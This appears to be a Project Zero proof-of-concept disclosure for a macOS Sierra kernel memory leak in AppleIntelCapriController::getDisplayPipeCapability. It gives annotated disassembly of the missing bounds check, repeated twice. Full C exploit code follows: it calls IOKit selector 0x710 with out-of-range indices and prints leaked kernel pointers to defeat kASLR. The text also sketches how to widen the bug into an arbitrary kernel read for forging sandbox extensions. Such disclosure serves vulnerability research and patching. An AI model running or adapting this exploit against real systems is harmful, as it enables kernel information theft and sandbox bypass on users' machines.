|
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1069 MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability. This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it uses to index an array of pointers with no bounds checking: AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *) __text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace __text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace ... __text:000000000002A3B8 mov eax, [rbx] ; read dword __text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object __text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0 __text:000000000002A3C9 jz short ___fail __text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh __text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes __text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace __text:000000000002A3DA call _memcpy For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable pointer there which will allow us to read back vtable contents and defeat kASLR. With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext HMAC key and forge sandbox extensions if it still works like that. tested on MacOS Sierra 10.12.2 (16C67) */ // ianbeer // build: clang -o capri_mem capri_mem.c -framework IOKit #if 0 MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability. This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it uses to index an array of pointers with no bounds checking: AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *) __text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace __text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace ... __text:000000000002A3B8 mov eax, [rbx] ; read dword __text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object __text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0 __text:000000000002A3C9 jz short ___fail __text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh __text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes __text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace __text:000000000002A3DA call _memcpy For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable pointer there which will allow us to read back vtable contents and defeat kASLR. With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext HMAC key and forge sandbox extensions if it still works like that. tested on MacOS Sierra 10.12.2 (16C67) #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach_error.h> #include <IOKit/IOKitLib.h> int main(int argc, char** argv){ kern_return_t err; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 4096; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0x1d8; for (int step = 1; step < 1000; step++) { memset(inputStruct, 0, inputStructCnt); *(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8)); outputStructCnt = 4096; memset(outputStruct, 0, outputStructCnt); err = IOConnectCallMethod( conn, 0x710, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err == KERN_SUCCESS) { break; } printf("retrying 0x2000 up - %s\n", mach_error_string(err)); } uint64_t* leaked = (uint64_t*)(outputStruct+3); for (int i = 0; i < 0x1d8/8; i++) { printf("%016llx\n", leaked[i]); } return 0; }
|
|
|